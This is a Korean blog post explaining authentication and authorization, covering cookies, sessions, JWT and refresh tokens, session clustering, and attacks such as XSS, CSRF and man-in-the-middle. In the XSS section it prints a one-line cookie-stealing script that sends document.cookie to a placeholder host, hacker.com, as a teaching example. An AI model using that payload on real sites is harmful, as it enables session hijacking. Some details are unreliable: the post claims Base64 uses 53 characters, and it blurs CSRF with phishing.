인증(Authentication)과 인가(Authorization)는 항상 함께 등장하는 개념이면서 사용하기에 헷갈리는 용어이기도 하다.
문맥상 어색하지 않은 경우가 있어 이 둘의 차이를 두지 않고 사용하는 경우도 빈번하다.
인증과 인가의 차이에 대해 예시를 통해 자세히 알아보자.
우리가 SSAFY에 입과했던 첫 날 프로님께서 우리의 신상을 확인하시고, 출입증을 배부해주셨다. 이것이 바로 인증(Authentication)이다.
출입증에 명시되어 있는 사진과 이름의 정보로 신원을 확인하는 것이다. 개발자스럽게 이를 정의해보면, 식별 가능한 정보를 통해 서비스에 등록된 사용자의 신원을 인증하는 과정을 말한다.
우리는 배부 받은 출입증을 통해 대전 캠퍼스 내의 교실, 식당 카페를 이용할 수 있었다. 그러나 우리의 대전 캠퍼스는 사실 삼성화재의 연수 공간으로 SSAFY 만을 위한 공간이 아니었다. 따라서 우리는 교실, 식당, 카페를 제외한 숙소, 강당 등의 시설을 특별한 일 이외에는 사용할 수 없었다.
싸피생은 삼성화재 유성캠퍼스 내 교실, 식당, 카페를 제외하고 다른 시설을 이용할 수 없다. 이것을 인가(Authorization)라고 한다. 인증된 사용자에 대해서, 자원에 접근할 수 있는 권한인지 확인하는 과정이다.
이를 웹에 간단히 적용해보자.
한 게시판 서비스에 사용자가 글을 작성하고 싶어한다.
이를 위해 서비스에 회원가입을 진행한다. 이 과정에서 글을 작성할 수 있는 권한(authority)을 획득한다.
회원가입 완료 후, 사용자는 서비스를 사용하기 위해 로그인을 한다. 이 과정이 인증이다.
그리고 회원가입을 통해 얻은 글 작성 권한을 통해 글을 작성할 수 있다. 이 과정이 인가이다. 또, 다른 사람의 글을 볼 수 있지만, 수정이나 삭제는 할 수 없다. 이 과정 또한 인가가 적용된 개념이다.
정리해보면, 우리는 글을 작성하기 위해 권한이 필요하고(인가) 권한을 확인 받기 위해서는 로그인(인증)을 해야한다.
즉, 인가를 위해서는 인증이 선행되어야 하는 개념임을 알 수 있다.
그러면 이제부터 본격적으로 인증이란 무엇인지에 대해 알아보자.
웹은 클라이언트와 서버 사이에 http 프로토콜로 통신을 진행한다. 클라이언트 서버 구조에서 가장 중요한 특징은 무상태성(Stateless)이다. 서버는 클라이언트가 보낸 요청과 그 다음 요청의 연관관계가 없다고 생각하고 요청을 처리한다.
맨 처음 구현되었던 인증 방식은, 클라이언트가 header에 로그인 정보를 담아서 서버에 요청을 보내는 방식이었다. 당연히 아이디와 패스워드는 브라우저에서 Base64 방식으로 인코딩을 진행한 후에, Authorization header에 담겨서 보내졌다. 그 후에 서버가 디코딩 후 데이터베이스에서 체크를 진행한 후에, 응답을 보냈다.
그러나, 이 방식은 문제점이 하나 존재했다. 클라이언트 서버 구조의 무상태성으로 인해, 사용자가 요청을 할 때마다 매번 로그인을 진행해야 된다는 점이었다.
매번 인증한다는 불편한 점을 해결하기 위해, 브라우저의 힘을 빌리기로 한다. 정확히는, 브라우저가 갖고 있는 스토리지인 쿠키(Cookie)를 통해 문제를 해결해보고자 했다.
쿠키에 인증 정보를 저장하고 이를 스토리지에 저장해두었다가, 사용자가 인증이 필요한 작업을 진행할 때 쿠키를 함께 보내는 방식이다. 덕분에 사용자는 매번 인증을 하지 않아도 된다는 편리함을 얻게 되었다.
그러나 이는 해커에게도 편리함을 제공하였다. 왜냐하면, 클라이언트의 스토리지에 사용자 인증 정보에 대한 low data가 그대로 노출되어 있기 때문이다. 클라이언트가 서버보다 상대적으로 보안에 취약하기 때문에, 쿠키에 사용자 정보를 그대로 저장하는 것은 위험성이 너무 컸다.
이러한 보안 취약점을 해결하기 위해서 이번엔 서버의 힘을 빌리기로 한다. 클라이언트가 서버에 처음 인증 요청을 보내고 나면, 서버는 로그인 정보에 대응하는 세션 키(Session Key)를 생성하게 되고, 세션 키를 이용한 저장소를 생성하여 이를 저장하며, 세션 키를 담은 Cookie를 생성하여 응답으로 보내게 된다. 그 다음 클라이언트가 인증이 필요한 활동을 할 때 만들어진 JSESSIONID를 key로 전송하면서 통신을 진행하게 된다.
Session을 사용했을 때의 장점은 클라이언트 측에서 사용자의 low data를 보유하고 있지 않으니 해커가 쿠키를 탈취해가더라도 크게 위험하지 않다는 점이다. 또한 세션이 가지고 있는 기능 중 하나인 만료기간을 통해 해커가 사용자의 세션을 통해 요청을 보내더라도 만료기간이 지났다면 세션이 유효하지 않다는 장점이 존재한다. 세션을 서버가 관리하고 있기 때문에, 탈취가 된 세션을 삭제해버린다면 세션 자체를 이용하지 못한다는 보안 상의 이점도 존재한다.
그러나 Session도 문제점이 존재했다.
서비스의 스케일이 커져서, 로드 밸런서를 도입하여 서버를 여러대 관리한다고 가정해보자. 만약 클라이언트가 서버 A를 통해 세션을 인증하게 된다면, 세션의 정보는 서버 A에서만 저장되어 관리된다.
그런데 클라이언트의 다음 요청을 로드밸런서가 서버 B로 전달한다면? 서버 B에는 클라이언트의 세션 정보가 저장되어 있지 않기 때문에, 비인가 처리로 분류되어 데이터베이스에 접근을 할 수 없게 되고 클라이언트는 인증을 다시 해야되는 상황이 발생한다.
문제의 발생 원인은 서버 하나하나가 각자 세션을 관리하기 때문이었다. 이 문제를 해결하기 위해 세션 데이터베이스를 도입하였다. 그리고 이러한 기법을 Session Storage라고 한다.
서버들이 관리하는 모든 세션들을 하나로 통합하여 데이터베이스에서 관리하는 방법이다. 로드밸런서가 여러 서버로 요청을 전송해도 결국 하나의 세션 데이터베이스에서 세션 값을 가져올 수 있기 때문에 인증이 불일치하는 문제점을 해결할 수 있었다.
그러나 이 방법 또한 클라이언트가 많아진다면 하나의 세션 데이터베이스에서 모든 요청에 대해 관리하는 것은 무리일 것이며, 더 나아가 세션 데이터베이스에 장애가 발생한다면 모든 요청을 받지 못하게 되는 문제가 발생한다.
우리는 인증 정보를 유지하기 위해 다분한 노력을 해왔다. 클라이언트 상에서 유지해보기도 하고, 보안 상의 문제가 발생하자 서버와 데이터베이스까지 활용해보기도 하였지만 문제점은 여전히 발생하였다.
이렇게 문제가 계속 발생하는 이유는, 우리가 클라이언트와 서버 간의 통신을 위해 사용하는 HTTP 프로토콜과 서버가 지향하는 Rest API가 무상태성을 기반으로 하기 때문이다. 그러나 우리가 실제로 인증과 인가를 구현할 때는 사용자의 정보이자 상태를 갖고 있기 위해 노력한다. 즉, 상태성을 갖고 있다.
클라이언트 서버 구조가 갖고 있는 Stateless와 인증-인가를 위해 필요한 Stateful, 두 패러다임이 서로 충돌을 일으키고 있다. 인증-인가에서 문제가 계속 발생하면서 이러한 패러다임 충돌을 근본적으로 해결해야 문제가 해소될 수 있을거라 생각하기 시작했다.
다시 처음으로 돌아가서, 우리는 클라이언트-서버-데이터베이스에게 한 번씩 사용자의 상태를 맡겨보았다. 그럼 이제 마지막으로 사용하지 않은 것이 하나 남아있다.
바로 요청과 응답 속에 사용자의 상태를 담는 TOKEN 방식이다.
토큰 방식에는 여러가지가 존재하는데, 그 중에서 가장 많이 사용되는 JWT(Json Web Token)에 대해 알아보고자 한다.
JWT는 헤더, 페이로드, 시그니처로 이루어져 있다.
헤더는 토큰의 유형과 서명 알고리즘을 갖고 있다.
{
"typ": "JWT",
"alg": "HS256"
}
위 헤더는 JWT 타입의 토큰을 HS256 서명 알고리즘을 통해 구성되었음을 나타낸다.
페이로드는 클레임(Claim, 사용자의 정보)을 갖고 있다.
{
"username": "ssafy",
"auth": "user",
"expiry": 1646635611301
}
페이로드는 그대로 노출되어 있는 정보이기 때문에, 클레임에는 인증-인가에 필요한 최소한의 정보만을 넣어야한다. 사용자의 아이디와 비밀번호와 같은 민감한 정보들은 포함되서는 안되며, 주로 권한이나 토큰의 발급일과 만료일자와 같은 정보가 클레임에 들어간다.
시그니처는 가장 중요한 부분으로 헤더와 페이로드를 합친 후, 서버가 발급해주는 secret key로 암호화하여 토큰을 변조하기 어렵게 만들어준다.
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret
)
토큰이 발급된 후 누군가 페이로드의 수정을 시도한다면 페이로드에는 다른 누군가가 조작된 정보가 들어가 있지만, 시그니처에는 수정되기 전의 페이로드 내용을 기반으로 암호화된 결과가 저장되어 있기 때문에 서로 불일치하게 된다. 서버는 이를 토대로 토큰의 조작 여부를 쉽게 판단할 수 있어 토큰을 악용하기 어려워진다.
이렇게 완성된 토큰은 Base64를 통해 인코딩된다.
결과적으로 JWT는 '.'으로 구분된 Base 64 기반 문자열의 합으로 이루어져 있다.
클라이언트가 처음 서버에 인증 정보를 전송하게 되면, 서버는 정보가 유효한지 확인한다. 정보가 유효하다면, 서버는 고유의 비밀 키(Secret Key)를 기반으로 인증 정보를 토큰화한다. 토큰화된 정보는 클라이언트에게 전달되어 스토리지에 저장된다. 이후 요청을 보낼 때 JWT 토큰을 함께 전송하게 되고, 서버는 이를 디코딩하여 인증 절차를 진행한다.
JWT 토큰은 로드 밸런서가 서로 다른 서버에 요청을 전송하더라도 비밀 키를 기반으로 디코딩만 수행하기 때문에, 세션 데이터베이스처럼 어딘가를 한번 더 거칠 필요가 없다는 장점이 있다. 이 장점은 현대 시스템에 중요한 확장성과도 연결이 되는데, 3대였던 서버가 5대가 되어도 각자 디코딩을 하여 인증을 수행할 수 있다는 장점도 생긴다.
그러나, JWT 토큰 또한 해커에게 탈취당할 경우 사용자의 권한으로 서버에게 요청을 보낼 수 있다는 단점이 존재한다.
이를 방지하기 위해 토큰에도 만료기한이 존재한다. 만료기한이 지날 경우 해커도, 사용자도 이 토큰을 사용할 수 없게 된다. 하지만 토큰을 사용하지 못하게 될 경우 사용자는 불편함을 겪어야 한다.
불편함을 해소하기 위해 나온 방안이 Refresh Token이다.
기존에 생성된 Token을 Access Token으로 구분한다.
클라이언트가 최초 요청 시 Access Token과 함께 만료 기한을 정하여 Refresh Token을 생성한다. 이 Refresh Token 은 새로운 저장소에 저장되어 관리되며, 이 때 Access Token은 서버에 별도로 저장되지 않는다.
클라이언트가 서버와 통신하던 중 Access Token이 만료된다면, 서버를 통해 토큰이 유효하지 않다는 응답을 받게된다. 이 때 클라이언트는 스토리지에 저장되어 있던 Refresh Token을 통해 요청을 다시 보내고, 서버는 저장되어 있는 Refresh Token 이 일치하다면 새롭게 Access Token을 갱신하여 발급하게 된다.
토큰으로 상태관리를 하기에 따로 세션을 둘 필요가 없다는게 장점이지만, 결국 토큰도 탈취당할 위험이 있기 때문에 관리를 해주어야 된다는게 핵심이다.
개인적인 견해로, 길을 걷다 신용카드를 잃어 버릴 경우 신용카드를 주운 사람이 카드를 마구잡이로 사용한다고 신용카드 회사에 책임을 묻지 않는다. 물론 회사에 도난 신고를 할 경우 회사에서 충분한 조치를 취해주어야 한다. 웹 또한 같은 이치로 토큰을 탈취 당하지 않도록 사용자도 경각심을 가져야 하지 않을까?
세션은 WAS의 세션 저장소에 저장된다. WAS의 세션 저장소는 WAS가 할당 받은 메모리 내에 존재하고, 그 WAS는 결국 서버의 메모리에 존재하니 결과적으로 세션은 서버의 메모리 내에 존재한다고 할 수 있다.
세션은 메모리 내에 존재하니 서버가 꺼지게 되면 세션도 함께 사라진다는 것을 자연스럽게 생각해볼 수 있다. 여기서 문득 이어진 생각은 무중단 배포 환경에서는 세션을 어떻게 관리할지 궁금했다. 아무리 무중단이라 할지라도 서버가 재배포되면서 세션을 유지할 수 있을까? 유지가 가능하다면 어떻게 가능한 것일까?
우선 서버가 여러 대일 때 세션을 관리하기 위한 기법으로 우리는 Session Storage를 배웠다. 그러나, Session Storage 말고도 두가지 기법이 더 존재한다.
Sticky Session 기법은 최초 사용자가 인증을 요청했던 서버를 로드 밸런서가 기억하여, 추후 사용자가 요청을 보내게 된다면 해당 서버로만 요청을 전송하도록 관리하는 기법이다. 사용자가 요청을 보냈던 서버에서는 사용자의 세션 정보를 갖고 있기 때문에 꽤나 심플하면서도 괜찮아보였다. 그러나, 요청을 활발히 보내는 사용자가 하나의 서버로만 통신을 하게 된다면 트래픽이 고르게 분산되지 못하여 로드 밸런서의 의의를 잃게 된다. 또한 해당 서버의 트래픽이 몰려 서버가 죽게 된다면 세션 정보가 모두 날라가게 된다! 이어서 다른 서버들에 트래픽이 몰리게 된다.
클러스터링(Clustering)이란 여러 대의 컴퓨터나 서버들이 하나로 연결되어 마치 하나의 시스템처럼 동작하는 것을 의미한다. 세션 클러스터링(Session Clustering) 기법은 모든 서버가 서로 Session을 공유하도록 한다. 세션 클러스터링을 구현하는 방법은 WAS마다 다른데 Tomcat은 All-to-All 복제 방식을 사용한다고 한다. 사용자의 세션이 생성되거나 갱신될 때마다 Tomcat의 DeltaManager가 다른 모든 서버에 해당 세션의 정보를 복제하게 된다. 그러나 클러스터링 자체가 신규 서버가 확장될 때마다 기존 서버에 신설된 서버의 IP/Port를 등록해줘야 하고 이로 인해 에러가 빈번히 발생한다고 한다. 또한, 각 서버마다 세션을 위해 필요한 메모리를 공유하기 때문에 많은 메모리를 필요로 하며 복제로 인한 네트워크 트래픽도 증가할 가능성이 있다. 또 복제가 이뤄지는 사이에 세션이 추가되거나 갱신된다면 서로 세션이 불일치하는 동기화의 문제도 발생할 수 있다. 실제로 Tomcat의 공식 문서에서도 4대 이상의 대규모 클러스터는 권장하지 않는다고 명시되어 있다고 한다.
앞서 설명했던 세션 스토리지(Session Storage) 방식에서 데이터베이스는 주로 Redis를 사용한다. Redis는 우리가 평소 사용하던 데이터베이스보다는 조금 특별한데, 모든 데이터를 메모리에 저장하고 조회하는 인메모리 데이터베이스(In-Memory)라는 특징이 가장 대표적이다. 따라서 서버가 꺼지게 되면 데이터베이스의 내용도 모두 사라지는 휘발성의 특징을 갖고 있다.
아니 근데, 각 서버마다 각자의 메모리를 갖고 있는데 어떻게 인메모리 데이터베이스를 통해 세션을 독립적으로 사용할 수 있다고 하는걸까? 인메모리의 정의는 내가 생각하는 것과 조금 다른걸까?
조금만 더 생각해보면, 사실 일반적인 데이터베이스도 서버가 필요하다는 사실을 알 수 있다. 우리가 날려주는 트랜잭션을 처리하려면 처리를 하기위한 서버가 필요하지 않겠는가? 서버와 데이터베이스는 서로 다르지만 데이터베이스를 위한 데이터베이스 서버가 존재해야된다는 사실을 간과하고 있었다.
매번 서버를 구축할 때 가장 먼저 진행하는게 데이터베이스의 주소와 포트번호로 서버와 데이터베이스를 연결시켜 주는 거였는데.. 왜 당연하게 서버라는 사실을 몰랐을까..
즉, 데이터베이스 서버의 디스크에서 데이터를 저장하는 기존의 데이터베이스와는 다르게 인메모리 데이터베이스는 서버의 메모리에서 데이터를 저장한다라고 이해하면 될 것 같다. 따라서 WAS 각자가 데이터베이스를 갖고 있는게 아니라, 하나의 독립적인 데이터베이스 서버로 데이터가 전송된다.
인메모리 데이터베이스는 주기적으로 디스크에 데이터를 저장해주기 때문에, 서버에 장애가 발생하더라도 디스크에 저장되어있던 데이터를 불러와 휘발성의 어느정도 단점을 해소할 수 있다고 한다.
서론이 너무너무 길었지만 로드 밸런싱과 무중단 배포는 서로 연관되어 있다는 사실을 통해 로드 밸런싱을 위한 세션 기법들이 함께 따라 오는 것 같다.
무중단 배포의 원리는 개발자가 새로운 버전의 배포를 진행하게 되면 여러 대의 서버를 하나(그 이상)씩 중단시키고 배포하면서 트래픽을 아직 배포가 진행되지 않은(동작 중인 서버)로 보내는 방법이었다. 정확히 말하면 중단 없이 배포가 되는게 아니라 중단이 없어 보이는 것처럼 하는 배포 방식이었다.
따라서 무중단 배포를 위해서는 여러 대의 서버의 트래픽을 관리하기 위한 장치가 필요했고 이 것이 바로 로드 밸런서가 아닌가? 무중단 배포는 로드 밸런서가 선행되어야 하는 관계였다.
사실 가장 궁금했던 것은 어떻게 인증 정보를 탈취하길래 이런 다양한 기법들이 생겨나게 된 것일까? 였다. 쿠키도 털리고, 세션도 털리고, 토큰도 털리고.. 그럼, 사용자가 최초 로그인할 때 헤더에 담기는 정보는 안털리나? 왜 이 부분은 따로 언급이 없지? 궁금했던 점들이 너무나도 많았다.
인증 정보를 탈취 당할 수 있는 방법들은 정말 많다고 한다. 그 중에서도 대표적인 클라이언트 탈취 공격 기법을 간단히 설명하겠다.
XSS 공격 기법은 보안이 취약한 웹사이트에 악의적인 스크립트를 작성하여 사용자가 강제로 해당 스크립트를 실행하도록 만드는 공격 기법이다.
우리의 게시판 서비스의 게시글이 의도치 않게 자바스크립트가 동작하도록 구현되었다고 가정해보자.
< script>alert('안뇽');< /script>
한 호기심이 많은 사용자가 게시글에 자바스크립트를 작성해보았는데, 동작되는 것을 확인했다.
< script>document.location='http://hacker.com/cookie?'+document.cookie</ script>
위와 같이 코드가 작성된다면? 사용자는 영문도 모른채 쿠키가 탈취당하게 된다 ㅠㅠ 저렇게 작성되면 진짜 탈취 당한지도 모를 것 같다..
지금 이 글을 작성하면서도 놀랍게도 < script>라는 문구를 작성 시에 글이 사라지는 것을 발견했다. 이렇게 유명한 보안 취약점들은 개발자들이 사전에 알고 대비해야 된다.
CSRF 공격 기법은 웹 어플리케이션 취약점 중 하나로 사용자가 자신의 의지와는 무관하게 해커가 의도한 행위(인증-인가)를 특정 웹사이트에 요청하도록 유도하는 방법이다.
CSRF 공격 기법의 대표적인 피해 사례로 페이스북이 있다.
해커는 위와 같은 메세지를 무작위로 보내 링크를 클릭하도록 유도한다.
언뜻 보면 비슷한 사이트여도 로그인을 진행하면 내 아이디와 비밀번호는 그대로 해커에게 전송된다. 해커는 나의 계정을 통해 동일한 메세지를 지인들에게 전송하여 2차 피해를 발생시키거나 유해한 광고를 올린다. 항상 인증 절차 이전에 url을 확인하는 습관을 들이도록 하자.
액세스 토큰은 유효기간이 짧기 때문에 탈취 당해도 큰 문제가 없어 보였다. 그런데 만약 리프레쉬 토큰이 탈취 당한다면? 이 토큰으로 해커가 토큰을 무한정 발급 받는다면?
클라이언트 공격 기법으로는 탈취를 시도하는게 쉽지 않아 보였다.
심지어 대부분의 리프레쉬 토큰은 Http Only Cookie라는 옵션을 통해 브라우저에서 쿠키에 접근할 수 없도록 제한하여 보안을 강화하였다.
그럼 리프레쉬 토큰은 어떻게 탈취될 수 있었던걸까
중간자 공격은 공격자가 사용자의 인터넷 서버와 해당 인터넷 트래픽의 목적지 사이에 끼어들어 데이터 전송을 가로채는 기법이다. 리프레쉬 토큰도 중간에 가로챌 수 있다. 일반적으로 HTTPS 프로토콜을 통해 안전하게 전송되어야 한다. 그러나 중간자 공격자가 HTTPS 연결을 도청하여 헤더에 담긴 리프레쉬 토큰을 탈취할 수 있다.
중간자 공격에는 대표적으로 패킷 스니핑, 패킷 인젝션, 세션 하이재킹 공격, SSL 스트리핑이 있다. 중간자 공격은 Wireshark, Ettercap, Burp Suite, Fiddler 등 패킷 스니핑, 패킷 인젝션, 패킷 캡쳐를 할 수 있는 툴로 실행된다.
리프레쉬 토큰이 탈취당한 사례로는 인터파크에서 고객 개인정보가 유출되는 사건이 발생했다. 이 사건은 중간자 공격의 피해사건으로 로그인 세션 정보과 함께 리프레쉬 토큰이 탈취되었다. 이로 인해 해커들은 사용자들의 개인정보를 이용해 인터파크 티켓을 구매하거나 개인정보를 이용해 스팸메일을 보내는 등의 피해를 입혔다.
중간자 공격을 방지하기 위해서는 VPN 사용, HTTPS만 사용, 모든 통신에 종단간 암호화 실시, 출처가 불분명한 링크 클릭하지 않기, 집/회사의 네트워크 보안 확인하기 등의 방법이 있다.
Base64를 사용하는 가장 큰 이유는 Binary 데이터를 텍스트 기반 규격으로 다룰 수 있기 때문이다. JSON과 같은 문자열 기반 데이터 안에 이미지 파일등을 Web에서 필요로 할때 Base64로 인코딩하면 UTF-8과 호환 가능한 문자열을 얻을 수 있다. 끝에 '='과 같은 패딩 기호가 있다면 이는 구분자로써 사용되므로 대부분 Base64로 생각할 수 있다.
기존 ASCII 코드는 시스템간 데이터를 전달하기에 안전하지 않다. 모든 Binary 데이터가 ASCII 코드에 포함되지 않으므로 제대로 읽지 못한다. 반면 Base64는 ASCII 중 제어문자와 일부 특수문자를 제외한 53개의 안전한 출력 문자만 이용하므로 데이터 전달에 더 적합하다고 한다.
참고 자료
[10분 테코톡] 🎡토니의 인증과 인가
[Web] JWT를 통한 인증 과정 알아보기 - dolmeng2
우리가 Base64를 사용하는 이유 - Blue___
쿠키와 세션에서 세션은 어디에 저장되는가? - 현구막
JWT는 어디에 저장해야할까? - localStorage vs cookie - 권세진
What is a JWT? Understanding JSON Web Tokens - Rishabh Poddar
서버가 여러 대일 때 세션 관리는 어떻게 할까? - Aria Park
nginx를 이용한 로드밸런싱 및 무중단 배포 - 코동이
토큰(token)은 어떻게 탈취 당하는가? - ckdwns9121